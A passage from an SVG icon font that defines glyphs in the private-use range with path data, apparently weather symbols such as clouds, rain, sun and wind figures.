-66.5l-28 -96q-13 -44 -44 -60.5t-68 -6.5q-32 6 -48.5 32.5t-14.5 50.5zM1286 -240q0 5 1.5 14t1.5 12l10 63q11 38 43.5 56.5t72.5 8.5q36 -11 54.5 -44t7.5 -67l-15 -64q-16 -69 -81 -69q-5 0 -16 1.5t-14 1.5q-32 10 -48.5 35t-16.5 52zM1365 74 q0 38 25 63t63 25t63 -25t25 -63q0 -37 -25 -62t-63 -25q-37 0 -62 27q-26 24 -26 60zM1475 1366q134 -122 181 -312h33q220 0 375 -155q50 88 50 194q0 157 -110.5 266.5t-267.5 109.5q-154 0 -261 -103zM1645 1928v219q0 38 27 65.5t64 27.5q38 0 63.5 -27t25.5 -66v-219 q0 -39 -25.5 -66t-63.5 -27q-37 0 -64 27.5t-27 65.5zM2240 1683q0 39 25 64l154 155q24 27 62 27q39 0 64 -27q28 -26 28 -64t-28 -64l-154 -155q-31 -30 -67.5 -27.5t-58.5 27.5q-25 25 -25 64zM2323 413q0 38 26.5 65t64.5 27q37 0 65 -28l66 -67q28 -28 28 -65 q0 -38 -28 -64q-22 -28 -58 -28l-2 2q-38 0 -66 26l-69 68q-27 27 -27 64zM2479 1093q0 38 26.5 63.5t65.5 25.5h220q39 0 65.5 -25.5t26.5 -63.5t-27 -65t-65 -27h-220q-38 0 -64 29q-28 24 -28 63z" />
<glyph unicode="&#xf0b3;" horiz-adv-x="2298" d="M0 519v1v1q0 185 115.5 330t292.5 186q49 219 224.5 359.5t402.5 140.5q159 0 290 -70q80 85 188 133.5t223 48.5q152 0 281.5 -75.5t205 -205t75.5 -281.5q0 -197 -122 -351q46 -98 46 -215q0 -141 -68 -261.5t-185.5 -193t-258.5 -76.5q-21 0 -21 18v143q0 19 21 19 q137 7 232.5 109.5t95.5 241.5q0 142 -103 244t-246 102h-172q-19 0 -19 19l-8 63q-18 173 -149.5 290.5t-305.5 117.5q-176 0 -305.5 -117.5t-146.5 -290.5l-8 -63q-5 -15 -24 -15l-54 -4q-135 -16 -225 -113.5t-90 -232.5v-4q2 -2 3 -2q1 -136 96 -237q45 -47 98 -71v-2 q60 -31 132 -36q18 0 18 -18v-143q0 -18 -18 -18q-78 4 -153 31q-121 40 -209.5 131.5t-125.5 213.5q-23 75 -23 153zM587 -246q0 5 2 14t2 13l10 62q11 38 44 57t72 9q36 -11 54 -44t7 -67l-15 -64q-16 -70 -81 -70q-5 0 -15.5 1.5t-13.5 1.5q-33 10 -49.5 35t-16.5 52z M666 69q0 38 25 63t63 25t63 -25t25 -63q0 -37 -25 -62t-63 -25q-37 0 -61 26q-27 25 -27 61zM841 -569q0 6 4 24l14 63q11 36 44 54t67 7q37 -7 56 -39t9 -73l-14 -62q-17 -66 -85 -66q-8 0 -26 4q-35 10 -52 35.5t-17 52.5zM925 -259q0 37 25 61.5t63 24.5t63 -24.5 t25 -61.5q0 -38 -25 -63t-63 -25q-36 0 -62 26t-26 62zM991 -17q0 15 3 28l24 96q11 38 44 57t68 9q38 -11 56.5 -43t7.5 -67l-28 -96q-13 -44 -44 -60t-68 -6q-32 6 -48.5 32t-14.5 50zM1286 -246q0 5 1.5 15t1.5 12l10 62q11 38 44 57t72 9q36 -11 54.5 -44t7.5 -67 l-15 -64q-16 -70 -81 -70q-5 0 -16 1.5t-14 1.5q-32 10 -48.5 35t-16.5 52zM1365 69q0 38 25 63t63 25t63 -25t25 -63q0 -37 -25 -62t-63 -25t-62 26q-26 24 -26 61zM1475 1360q134 -122 181 -312h33q221 0 375 -154q50 88 50 193q0 157 -110.5 266.5t-267.5 109.5 q-154 0 -261 -103z" />
<glyph unicode="&#xf0b4;" horiz-adv-x="2328" d="M0 504v6v2v5v5v1v2v9v7v2q7 179 121 317t286 178q50 218 225 358t401 140q118 0 254 -49q45 74 105.5 128.5t125.5 84t126.5 43t120.5 12.5q62 0 132 -14l85 -27q19 -9 15 -25l-12 -65q-11 -47 -11 -90q0 -49 15.5 -101t47 -101.5t85.5 -90.5t124 -62l66 -18 q16 -4 16 -17q0 -6 -1 -7l-20 -73q-39 -162 -161 -280q70 -122 70 -261q0 -214 -148.5 -368.5t-361.5 -161.5q-20 0 -20 20v145q0 19 20 19q139 10 235 110t96 236q0 143 -103 244.5t-248 101.5h-173q-18 0 -18 19l-8 62q-18 172 -149 289.5t-305 117.5q-175 0 -304.5 -117 t-146.5 -290l-8 -55q0 -18 -21 -18l-56 -8q-134 -16 -224.5 -114.5t-90.5 -231.5v-2l1 -1h2q1 -84 39 -158t104 -122h1l1 -1l1 -1q35 -25 66 -37q54 -24 114 -26q18 0 18 -18v-143q0 -19 -18 -19q-149 7 -272 88h-1q-106 69 -169.5 180t-68.5 241zM587 -240q0 5 2 13.5 t2 12.5l10 63q11 38 43.5 56.5t72.5 8.5q36 -11 54 -44t7 -67l-15 -64q-16 -69 -81 -69q-5 0 -15.5 1.5t-13.5 1.5q-33 10 -49.5 35t-16.5 52zM666 74q0 38 25 63t63 25t63 -25t25 -63q0 -37 -25 -62t-63 -25q-36 0 -61 27q-27 25 -27 60zM841 -566q0 6 4 24l14 63 q11 36 44 54.5t67 7.5q37 -7 56 -39t9 -73l-14 -63q-16 -65 -85 -65q-12 0 -26 3q-35 10 -52 35.5t-17 52.5zM925 -256q0 37 25 62t63 25t63 -25t25 -62q0 -38 -25 -63t-63 -25q-36 0 -62 26t-26 62zM991 -14q0 15 3 29l24 96q11 37 44 56.5t68 8.5q38 -11 56.5 -43t7.5 -67 l-28 -96q-13 -44 -44 -60t-68 -6q-32 6 -48.5 32t-14.5 50zM1286 -242q0 5 1.5 14t1.5 12l10 63q11 38 43.5 56.5t72.5 8.5q36 -11 54.5 -44t7.5 -67l-15 -64q-16 -70 -81 -70q-5 0 -15 2t-15 2q-32 10 -48.5 35t-16.5 52zM1365 72q0 38 25 63t63 25t63 -25t25 -63 q0 -37 -25 -62t-63 -25t-62 26q-26 24 -26 61zM1440 1390q166 -136 211 -337h35q196 0 343 -126q54 49 81 111q-99 48 -171.5 129t-108.5 177t-36 198v33h-23q-99 0 -188.5 -48t-142.5 -137z" />
<glyph unicode="&#xf0b5;" horiz-adv-x="2328" d="M0 523q0 185 115.5 330t292.5 186q49 219 224.5 359.5t402.5 140.5q130 0 235 -43q0 -1 1 -2q134 -52 236 -165h3q108 -117 146 -279h33q173 0 302 -92v1q85 -57 142.5 -142t77.5 -186q6 -34 8 -55v-1v-5q0 -1 1.5 -18t1.5 -26v-1v-2q0 -141 -68 -261.5t-185.5 -193 t-258.5 -76.5q-21 0 -21 18v143q0 20 21 20q137 7 232.5 109t95.5 241q0 142 -103 244.5t-246 102.5h-172q-19 0 -19 18l-8 63q-16 160 -135 276q-1 1 -2.5 3t-2.5 3q-2 2 -4 2q0 3 -2 3q-116 106 -273 120q-11 1 -36 1q-176 0 -305.5 -117.5t-146.5 -290.5l-8 -63 q-5 -15 -24 -15l-54 -3q-135 -16 -225 -114t-90 -233v-4h3q1 -76 32.5 -144t85.5 -116q33 -29 79 -51v-1q64 -31 129 -34q18 0 18 -19v-143q0 -18 -18 -18q-83 5 -158 32v-1q-133 46 -225.5 153t-118.5 246v3q-1 1 -1 4q-8 41 -8 93zM587 -242q0 5 2 13.5t2 12.5l10 63 q11 38 43.5 56.5t72.5 8.5q36 -11 54 -44t7 -67l-15 -64q-16 -70 -81 -70q-5 0 -14.5 2t-14.5 2q-33 10 -49.5 35t-16.5 52zM666 72q0 38 25 63t63 25t63 -25t25 -63q0 -37 -25 -62t-63 -25q-37 0 -61 26q-27 25 -27 61zM841 -567q0 6 4 24l14 63q11 36 44 54.5t67 7.5 q37 -7 56 -39t9 -73l-14 -63q-16 -65 -85 -65q-12 0 -26 3q-35 10 -52 35.5t-17 52.5zM925 -257q0 37 25 62t63 25t63 -25t25 -62q0 -38 -25 -63t-63 -25q-36 0 -62 26t-26 62zM991 -15q0 16 3 29l24 96q11 37 44 56.5t68 8.5q38 -11 56.5 -43t7.5 -67l-28 -96 q-13 -44 -44 -60t-68 -6q-32 6 -48.5 32t-14.5 50zM1286 -243q0 5 1.5 14t1.5 12l10 63q11 38 43.5 56.5t72.5 8.5q36 -11 54.5 -44t7.5 -67l-15 -64q-16 -70 -81 -70q-5 0 -15 2t-15 2q-32 10 -48.5 35t-16.5 52zM1365 71q0 38 25 63t63 25t63 -25t25 -63q0 -37 -25 -62 t-63 -25t-62 26q-26 24 -26 61z" />
<glyph unicode="&#xf0b6;" horiz-adv-x="2267" d="M0 665q0 38 27 65q29 27 64 27h218q37 0 61.5 -27t24.5 -65t-24.5 -64.5t-61.5 -26.5h-218q-37 0 -64 27t-27 64zM305 1402q0 37 25 65q32 27 68 27q34 0 63 -27l152 -156q26 -24 26 -63q0 -38 -25.5 -63.5t-63.5 -25.5q-39 0 -63 26l-157 152q-25 27 -25 65zM322 409 q0 36 25 59t68 23h609q43 0 68.5 -23t25.5 -59q0 -43 -25 -68.5t-69 -25.5h-609q-43 0 -68 25t-25 69zM427 94q0 35 29.5 64t64.5 29q42 0 67.5 -28t25.5 -65q0 -44 -25 -69t-68 -25q-37 0 -65.5 26t-28.5 68zM578 634v7q5 201 139.5 350t330.5 180h2h3q31 6 81 6t81 -6h2h2 q196 -31 330.5 -180t139.5 -350v-7q0 -26 -24 -26h-121q-19 0 -27 10t-8 19q-6 149 -115 252.5t-260 103.5t-260 -103.5t-115 -252.5q0 -9 -8.5 -19t-27.5 -10h-121q-24 0 -24 26zM685 94q0 37 25.5 65t67.5 28h409q35 0 64.5 -29t29.5 -64q0 -42 -28.5 -68t-65.5 -26h-409 q-43 0 -68 25t-25 69zM1042 1489v217q0 38 27 65t64 27t64 -27t27 -65v-217q0 -37 -26.5 -62t-64.5 -25t-64.5 25t-26.5 62zM1187 409q0 34 29 58t65 24t65 -24t29 -58q0 -42 -28.5 -68t-65.5 -26t-65.5 26t-28.5 68zM1351 94q0 37 26 65t68 28h198q42 0 67.5 -28t25.5 -65 q0 -44 -24.5 -69t-68.5 -25h-198q-43 0 -68.5 25t-25.5 69zM1445 409q0 34 28.5 58t64.5 24h327q35 0 58 -23.5t23 -58.5q0 -43 -22.5 -68.5t-58.5 -25.5h-327q-37 0 -65 26t-28 68zM1631 1248q0 40 24 63l152 156q29 27 63 27q37 0 64 -27t27 -65q0 -39 -26 -65l-156 -152 q-29 -26 -64 -26q-36 0 -60 25.5t-24 63.5zM1872 665q0 37 26 65q27 27 61 27h216q37 0 64.5 -27.5t27.5 -64.5t-27.5 -64t-64.5 -27h-216q-37 0 -62 26.5t-25 64.5z" />
<glyph unicode="&#xf0b7;" horiz-adv-x="2149" d="M9 891q0 -28 18 -43q19 -18 45 -18h1109q28 0 49 -20t21 -49t-21 -50t-49 -21q-29 0 -50 22q-20 17 -43 17q-26 0 -43.5 -17t-17.5 -42q0 -26 18 -44q57 -57 136 -57t134.5 56t55.5 136q0 79 -55.5 135.5t-134.5 56.5h-1109q-26 0 -44.5 -18.5t-18.5 -43.5zM9 1107 q0 -27 18 -42q19 -17 45 -17h1473q79 0 135 56t56 135t-56 134.5t-135 55.5q-78 0 -135 -54q-17 -20 -17 -45q0 -26 17 -42.5t43 -16.5q24 0 44 17q19 19 48 19q28 0 49 -19.5t21 -48.5t-21 -50t-49 -21h-1473q-26 0 -44.5 -18t-18.5 -43zM1423 315q0 -83 26 -146.5 t70 -100.5t97 -55t112 -18q82 0 150 27.5t111.5 74t75.5 101.5t48.5 115.5t24 110t7.5 91.5q0 155 -85.5 240t-226.5 85q-79 0 -152.5 -37.5t-131 -104t-92 -166.5t-34.5 -217zM1642 309q0 24 4.5 61.5t17.5 89t32.5 94.5t55 73.5t79.5 30.5t69 -28t25 -84 q0 -154 -53 -261.5t-131 -107.5q-99 0 -99 132z" />
<glyph unicode="&#xf0b8;" horiz-adv-x="1990" d="M9 891q0 -28 18 -43q19 -18 45 -18h1109q28 0 49 -20t21 -49t-21 -50t-49 -21q-29 0 -50 22q-20 17 -43 17q-26 0 -43.5 -17t-17.5 -42q0 -26 18 -44q57 -57 136 -57t134.5 56t55.5 136q0 79 -55.5 135.5t-134.5 56.5h-1109q-26 0 -44.5 -18.5t-18.5 -43.5zM9 1107 q0 -27 18 -42q19 -17 45 -17h1473q79 0 135 56t56 135t-56 134.5t-135 55.5q-78 0 -135 -54q-17 -20 -17 -45q0 -26 17 -42.5t43 -16.5q24 0 44 17q19 19 48 19q28 0 49 -19.5t21 -48.5t-21 -50t-49 -21h-1473q-26 0 -44.5 -18t-18.5 -43zM1384 0h263l176 851h-263z" />
<glyph unicode="&#xf0b9;" horiz-adv-x="2165" d="M9 891q0 -28 18 -43q19 -18 45 -18h1109q28 0 49 -20t21 -49t-21 -50t-49 -21q-29 0 -50 22q-20 17 -43 17q-26 0 -43.5 -17t-17.5 -42q0 -26 18 -44q57 -57 136 -57t134.5 56t55.5 136q0 79 -55.5 135.5t-134.5 56.5h-1109q-26 0 -44.5 -18.5t-18.5 -43.5zM9 1107 q0 -27 18 -42q19 -17 45 -17h1473q79 0 135 56t56 135t-56 134.5t-135 55.5q-78 0 -135 -54q-17 -20 -17 -45q0 -26 17 -42.5t43 -16.5q24 0 44 17q19 19 48 19q28 0 49 -19.5t21 -48.5t-21 -50t-49 -21h-1473q-26 0 -44.5 -18t-18.5 -43zM1366 0h706l43 202h-392v3 q32 15 92 39t101.5 41t92.5 47t82 61t53 79.5t22 106.5q0 89 -46 149.5t-115 86t-155 25.5q-155 0 -253.5 -83.5t-117.5 -246.5h223q0 59 34.5 100t97.5 41q48 0 72 -25.5t24 -57.5q0 -19 -3.5 -34.5t-16.5 -30t-22.5 -23.5t-36.5 -24t-42.5 -23t-56.5 -27 q-141 -69 -175 -89q-128 -77 -177 -190q-25 -56 -34 -127z" />
<glyph unicode="&#xf0ba;" horiz-adv-x="2145" d="M9 891q0 -28 18 -43q19 -18 45 -18h1109q28 0 49 -20t21 -49t-21 -50t-49 -21q-29 0 -50 22q-20 17 -43 17q-26 0 -43.5 -17t-17.5 -42q0 -26 18 -44q57 -57 136 -57t134.5 56t55.5 136q0 79 -55.5 135.5t-134.5 56.5h-1109q-26 0 -44.5 -18.5t-18.5 -43.5zM9 1107 q0 -27 18 -42q19 -17 45 -17h1473q79 0 135 56t56 135t-56 134.5t-135 55.5q-78 0 -135 -54q-17 -20 -17 -45q0 -26 17 -42.5t43 -16.5q24 0 44 17q19 19 48 19q28 0 49 -19.5t21 -48.5t-21 -50t-49 -21h-1473q-26 0 -44.5 -18t-18.5 -43zM1405 249q0 -43 17 -84t53 -79.5 t102.5 -62t155.5 -23.5q193 0 281 77t88 208q0 58 -32.5 106t-84.5 54v2q69 12 114.5 62t45.5 120q0 49 -18 87t-46.5 62t-68.5 39.5t-80.5 21.5t-85.5 6q-148 0 -243 -71.5t-117 -214.5h217q7 49 40.5 76.5t83.5 27.5q46 0 72.5 -19.5t26.5 -53.5q0 -75 -135 -75h-50 l-31 -149h47q109 0 109 -75q0 -50 -36 -77t-88 -27q-61 0 -89 36q-27 34 -22 95h-221q-5 -30 -5 -69z" />
<glyph unicode="&#xf0bb;" horiz-adv-x="2155" d="M9 891q0 -28 18 -43q19 -18 45 -18h1109q28 0 49 -20t21 -49t-21 -50t-49 -21q-29 0 -50 22q-20 17 -43 17q-26 0 -43.5 -17t-17.5 -42q0 -26 18 -44q57 -57 136 -57t134.5 56t55.5 136q0 79 -55.5 135.5t-134.5 56.5h-1109q-26 0 -44.5 -18.5t-18.5 -43.5zM9 1107 q0 -27 18 -42q19 -17 45 -17h1473q79 0 135 56t56 135t-56 134.5t-135 55.5q-78 0 -135 -54q-17 -20 -17 -45q0 -26 17 -42.5t43 -16.5q24 0 44 17q19 19 48 19q28 0 49 -19.5t21 -48.5t-21 -50t-49 -21h-1473q-26 0 -44.5 -18t-18.5 -43zM1395 160h381l-34 -165h235l38 165 h108l38 203h-107l96 463h-237l-472 -444zM1635 363l239 236h3l-52 -236h-190z" />
<glyph unicode="&#xf0bc;" horiz-adv-x="2158" d="M9 891q0 -28 18 -43q19 -18 45 -18h1109q28 0 49 -20t21 -49t-21 -50t-49 -21q-29 0 -50 22q-20 17 -43 17q-26 0 -43.5 -17t-17.5 -42q0 -26 18 -44q57 -57 136 -57t134.5 56t55.5 136q0 79 -55.5 135.5t-134.5 56.5h-1109q-26 0 -44.5 -18.5t-18.5 -43.5zM9 1107 q0 -27 18 -42q19 -17 45 -17h1473q79 0 135 56t56 135t-56 134.5t-135 55.5q-78 0 -135 -54q-17 -20 -17 -45q0 -26 17 -42.5t43 -16.5q24 0 44 17q19 19 48 19q28 0 49 -19.5t21 -48.5t-21 -50t-49 -21h-1473q-26 0 -44.5 -18t-18.5 -43zM1403 264q-4 -51 12.5 -97.5 t53 -86t104 -63t158.5 -23.5q92 0 163.5 24.5t111.5 60.5t65.5 84t34 87.5t8.5 78.5q0 107 -68.5 172t-176.5 65q-111 0 -155 -46h-2l37 109h368l42 201h-559l-155 -476h213q26 54 118 54q51 0 82 -26.5t31 -79.5q0 -54 -37 -87t-107 -33q-50 0 -78 18q-34 18 -38 64h-226z " />
<glyph unicode="&#xf0bd;" horiz-adv-x="2168" d="M9 891q0 -28 18 -43q19 -18 45 -18h1109q28 0 49 -20t21 -49t-21 -50t-49 -21q-29 0 -50 22q-20 17 -43 17q-26 0 -43.5 -17t-17.5 -42q0 -26 18 -44q57 -57 136 -57t134.5 56t55.5 136q0 79 -55.5 135.5t-134.5 56.5h-1109q-26 0 -44.5 -18.5t-18.5 -43.5zM9 1107 q0 -27 18 -42q19 -17 45 -17h1473q79 0 135 56t56 135t-56 134.5t-135 55.5q-78 0 -135 -54q-17 -20 -17 -45q0 -26 17 -42.5t43 -16.5q24 0 44 17q19 19 48 19q28 0 49 -19.5t21 -48.5t-21 -50t-49 -21h-1473q-26 0 -44.5 -18t-18.5 -43zM1439 334q0 -153 80 -246t244 -93 q152 0 250.5 92.5t98.5 243.5q0 103 -71 167.5t-176 64.5q-117 0 -183 -80h-2q53 186 176 186q40 0 62 -15q20 -14 25 -44h225q-2 50 -20.5 90t-47 66t-67 43t-79.5 24t-85 7q-100 0 -179 -38.5t-124.5 -95t-75.5 -128.5t-40.5 -131.5t-10.5 -112.5zM1658 286q0 59 39 89.5 t88 30.5q30 0 51.5 -9t32 -20.5t16.5 -28.5t7 -26.5t1 -20.5q0 -50 -34 -84t-91 -34q-49 0 -79.5 28.5t-30.5 74.5z" />
<glyph unicode="&#xf0be;" horiz-adv-x="2187" d="M9 891q0 -28 18 -43q19 -18 45 -18h1109q28 0 49 -20t21 -49t-21 -50t-49 -21q-29 0 -50 22q-20 17 -43 17q-26 0 -43.5 -17t-17.5 -42q0 -26 18 -44q57 -57 136 -57t134.5 56t55.5 136q0 79 -55.5 135.5t-134.5 56.5h-1109q-26 0 -44.5 -18.5t-18.5 -43.5zM9 1107 q0 -27 18 -42q19 -17 45 -17h1473q79 0 135 56t56 135t-56 134.5t-135 55.5q-78 0 -135 -54q-17 -20 -17 -45q0 -26 17 -42.5t43 -16.5q24 0 44 17q19 19 48 19q28 0 49 -19.5t21 -48.5t-21 -50t-49 -21h-1473q-26 0 -44.5 -18t-18.5 -43zM1504 -5h263q42 207 148.5 370.5 t230.5 260.5l41 199h-636l-44 -202h372q-316 -318 -375 -628z" />
<glyph unicode="&#xf0bf;" horiz-adv-x="2153" d="M9 891q0 -28 18 -43q19 -18 45 -18h1109q28 0 49 -20t21 -49t-21 -50t-49 -21q-29 0 -50 22q-20 17 -43 17q-26 0 -43.5 -17t-17.5 -42q0 -26 18 -44q57 -57 136 -57t134.5 56t55.5 136q0 79 -55.5 135.5t-134.5 56.5h-1109q-26 0 -44.5 -18.5t-18.5 -43.5zM9 1107 q0 -27 18 -42q19 -17 45 -17h1473q79 0 135 56t56 135t-56 134.5t-135 55.5q-78 0 -135 -54q-17 -20 -17 -45q0 -26 17 -42.5t43 -16.5q24 0 44 17q19 19 48 19q28 0 49 -19.5t21 -48.5t-21 -50t-49 -21h-1473q-26 0 -44.5 -18t-18.5 -43zM1395 233q0 -117 91.5 -177.5 t246.5 -60.5q95 0 168 19t114 47t66.5 66.5t33.5 70.5t8 65q0 66 -38 113.5t-100 60.5l2 3v-1q72 10 119 63.5t47 126.5q0 61 -28 104.5t-76 65.5t-98 31.5t-108 9.5q-76 0 -137 -15t-99 -39.5t-63 -57t-35 -64.5t-10 -66q0 -55 29 -96t80 -57v-3q-90 -10 -151.5 -65.5 t-61.5 -143.5zM1621 257q0 56 45 82t108 26q65 0 94.5 -29.5t29.5 -63.5v-14q0 -45 -40.5 -68t-103.5 -23l3 1q-22 0 -43 3t-43.5 12t-36 28t-13.5 46zM1702 585q0 51 39.5 74t95.5 23q48 0 81.5 -21.5t33.5 -67.5q0 -12 -5 -25t-18 -28.5t-42 -25.5t-70 -10 q-64 0 -89.5 24.5t-25.5 56.5z" />
<glyph unicode="&#xf0c0;" horiz-adv-x="2133" d="M9 891q0 -28 18 -43q19 -18 45 -18h1109q28 0 49 -20t21 -49t-21 -50t-49 -21q-29 0 -50 22q-20 17 -43 17q-26 0 -43.5 -17t-17.5 -42q0 -26 18 -44q57 -57 136 -57t134.5 56t55.5 136q0 79 -55.5 135.5t-134.5 56.5h-1109q-26 0 -44.5 -18.5t-18.5 -43.5zM9 1107 q0 -27 18 -42q19 -17 45 -17h1473q79 0 135 56t56 135t-56 134.5t-135 55.5q-78 0 -135 -54q-17 -20 -17 -45q0 -26 17 -42.5t43 -16.5q24 0 44 17q19 19 48 19q28 0 49 -19.5t21 -48.5t-21 -50t-49 -21h-1473q-26 0 -44.5 -18t-18.5 -43zM1406 223q3 -63 30 -109t71.5 -71 t95.5 -36.5t111 -11.5q91 0 165.5 34t120.5 86.5t77.5 120.5t44 131.5t12.5 122.5q0 169 -86.5 259.5t-231.5 90.5q-149 0 -252 -91t-103 -239q0 -106 67.5 -173t173.5 -67q57 0 111.5 23t76.5 58h3q-19 -76 -62 -130t-113 -54q-46 0 -63 11q-20 17 -26 45h-223zM1680 530 q0 50 31 86.5t92 36.5q54 0 82.5 -27.5t28.5 -81.5q0 -15 -6 -33t-19 -38t-39 -33t-60 -13t-57.5 12t-34 30.5t-14.5 33.5t-4 27z" />
<glyph unicode="&#xf0c1;" horiz-adv-x="2545" d="M9 891q0 -28 18 -43q19 -18 45 -18h1109q28 0 49 -20t21 -49t-21 -50t-49 -21q-29 0 -50 22q-20 17 -43 17q-26 0 -43.5 -17t-17.5 -42q0 -26 18 -44q57 -57 136 -57t134.5 56t55.5 136q0 79 -55.5 135.5t-134.5 56.5h-1109q-26 0 -44.5 -18.5t-18.5 -43.5zM9 1107 q0 -27 18 -42q19 -17 45 -17h1473q79 0 135 56t56 135t-56 134.5t-135 55.5q-78 0 -135 -54q-17 -20 -17 -45q0 -26 17 -42.5t43 -16.5q24 0 44 17q19 19 48 19q28 0 49 -19.5t21 -48.5t-21 -50t-49 -21h-1473q-26 0 -44.5 -18t-18.5 -43zM1376 6h262l175 847h-261z M1823 317q0 -83 26 -147t70 -101t96.5 -55.5t111.5 -18.5q98 0 175 40t121 99t73 133.5t39 135t10 112.5q0 155 -85 240t-227 85q-165 0 -287.5 -146t-122.5 -377zM2042 307q0 25 4.5 62.5t17.5 89.5t32.5 95.5t55 74t79.5 30.5q43 0 69 -29t26 -84q0 -154 -53.5 -261.5 t-131.5 -107.5q-99 0 -99 130z" />
<glyph unicode="&#xf0c2;" horiz-adv-x="2219" d="M9 891q0 -28 18 -43q19 -18 45 -18h1109q28 0 49 -20t21 -49t-21 -50t-49 -21q-29 0 -50 22q-20 17 -43 17q-26 0 -43.5 -17t-17.5 -42q0 -26 18 -44q57 -57 136 -57t134.5 56t55.5 136q0 79 -55.5 135.5t-134.5 56.5h-1109q-26 0 -44.5 -18.5t-18.5 -43.5zM9 1107 q0 -27 18 -42q19 -17 45 -17h1473q79 0 135 56t56 135t-56 134.5t-135 55.5q-78 0 -135 -54q-17 -20 -17 -45q0 -26 17 -42.5t43 -16.5q24 0 44 17q19 19 48 19q28 0 49 -19.5t21 -48.5t-21 -50t-49 -21h-1473q-26 0 -44.5 -18t-18.5 -43zM1384 -5h263l176 852h-263z M1781 -5h262l176 852h-261z" />
<glyph unicode="&#xf0c3;" horiz-adv-x="2563" d="M9 891q0 -28 18 -43q19 -18 45 -18h1109q28 0 49 -20t21 -49t-21 -50t-49 -21q-29 0 -50 22q-20 17 -43 17q-26 0 -43.5 -17t-17.5 -42q0 -26 18 -44q57 -57 136 -57t134.5 56t55.5 136q0 79 -55.5 135.5t-134.5 56.5h-1109q-26 0 -44.5 -18.5t-18.5 -43.5zM9 1107 q0 -27 18 -42q19 -17 45 -17h1473q79 0 135 56t56 135t-56 134.5t-135 55.5q-78 0 -135 -54q-17 -20 -17 -45q0 -26 17 -42.5t43 -16.5q24 0 44 17q19 19 48 19q28 0 49 -19.5t21 -48.5t-21 -50t-49 -21h-1473q-26 0 -44.5 -18t-18.5 -43zM1384 -5h263l176 852h-263z M1763 -5h706l43 203h-391v2q32 15 92 39t101 41t92 47t82 61.5t53 80t22 106.5q0 89 -46 149t-115 85t-155 25q-155 0 -253 -83.5t-117 -246.5h221q0 60 35 101t99 41q48 0 71.5 -25.5t23.5 -58.5q0 -52 -35 -81t-133 -77q-6 -2 -9 -4q-142 -68 -176 -88q-127 -76 -176 -186 q-26 -58 -35 -131z" />
<glyph unicode="&#xf0c4;" horiz-adv-x="2708" d="M1 747q0 -38 28 -64q25 -27 64 -27h1005q37 0 62.5 26.5t25.5 64.5q0 37 -25 62.5t-63 25.5h-1005q-38 0 -65 -25.5t-27 -62.5zM37 91q0 -39 27 -64q26 -27 64 -27h1006q38 0 65 27t27 64t-27 62.5t-65 25.5h-1006q-38 0 -64.5 -25.5t-26.5 -62.5zM183 422q0 -38 27 -63 t67 -25h1003q38 0 63 25t25 63q0 40 -25 65.5t-63 25.5h-1003q-40 0 -67 -26t-27 -65zM442 1099q0 38 28 66q28 26 64 26h217q37 0 62 -27t25 -65t-25 -64.5t-62 -26.5h-217q-38 0 -65 27t-27 64zM747 1837q0 36 26 65q31 26 67 26q35 0 63 -26l152 -157q26 -24 26 -63 q0 -38 -25.5 -63.5t-63.5 -25.5q-39 0 -63 26l-156 152q-26 28 -26 66zM1019 1112v7q3 146 79 269.5t203 195t274 71.5q112 0 215 -44.5t177.5 -119t118.5 -177.5t44 -215q0 -150 -74 -277.5t-201 -202t-277 -75.5h-21q-11 0 -19 8t-8 19v130q0 21 23 21h26 q154 1 263.5 111.5t109.5 265.5q0 154 -110.5 263t-266.5 109q-151 0 -260 -104t-115 -253q0 -9 -8 -18.5t-27 -9.5h-122q-24 0 -24 26zM1485 58v212q0 38 26 64t64 26q39 0 65 -26t26 -64v-212q0 -39 -26.5 -66t-64.5 -27t-64 26.5t-26 66.5zM1485 1923v218q0 38 26.5 64.5 t63.5 26.5t64 -27t27 -64v-218q0 -37 -26.5 -61.5t-64.5 -24.5t-64 24.5t-26 61.5zM2073 517q0 37 24 60q24 25 61 25q39 0 64 -25l155 -152q26 -28 26 -65t-26 -63q-64 -50 -128 0l-152 152q-24 27 -24 68zM2073 1682q0 40 24 63l152 157q28 26 63 26q38 0 64.5 -27 t26.5 -64q0 -40 -26 -66l-155 -152q-29 -26 -64 -26q-36 0 -60.5 25.5t-24.5 63.5zM2314 1099q0 37 27 66q26 26 60 26h216q37 0 65 -27.5t28 -64.5t-28 -64t-65 -27h-216q-37 0 -62 26.5t-25 64.5z" />
<glyph unicode="&#xf0c5;" horiz-adv-x="2118" d="M0 65q0 26 18.5 45t43.5 19h43q-34 105 -56 221q-34 176 -34 319q0 274 97 513q98 234 275 401q179 170 416 258q241 92 524 92q170 0 320 -30q151 -35 291 -110l181 -97l-200 -42q-93 -21 -128 -83q-25 -52 3 -118l44 -101l-109 -5q-69 -5 -126 -29q-52 -25 -62 -53 q-17 -36 38 -107l86 -102l-134 -19q-248 -37 -406.5 -102.5t-250.5 -169.5q-90 -100 -133.5 -253t-47.5 -383h561v297l-41 -25q-22 -14 -48.5 -7.5t-39.5 29.5q-14 22 -8.5 48.5t28.5 40.5l407 254l2 2q1 0 1 1h2q2 0 3 1q11 4 24 7h3h3q2 -2 3 -2h1h1h3h1h1q0 -1 2 -1h1h2 l2 -1h1h1q2 -1 2 -3h2q1 0 1 -1q3 0 3 -1q1 0 3 -1l2 -1l407 -251q23 -14 28.5 -41t-8.5 -49q-13 -22 -39.5 -28t-48.5 8l-33 20v-296h102q25 0 42.5 -19t17.5 -45q1 -27 -17 -46t-43 -19h-1968q-26 0 -44 18.5t-18 46.5zM165 669q0 -114 32 -291q24 -130 58 -226h287 q8 232 48 383q56 204 171 330q117 131 308 209q131 55 332 93l-9 27q-16 73 10 131q36 82 137 129q11 5 20 8q-138 32 -277 15q-159 -20 -297 -91q-177 -93 -321 -264q-16 -19 -41 -19q-19 0 -33 11q-16 14 -18.5 36.5t11.5 39.5q160 190 356 291q157 79 335 101 q91 12 178 2t122 -18t48 -13l9 -3q8 49 26 90q25 47 68 85q-48 15 -111 30q-128 28 -287 28q-252 0 -471 -82q-214 -82 -365 -228q-157 -146 -238 -348q-88 -215 -88 -456zM1384 129h414v376l-211 129l-203 -127v-378z" />
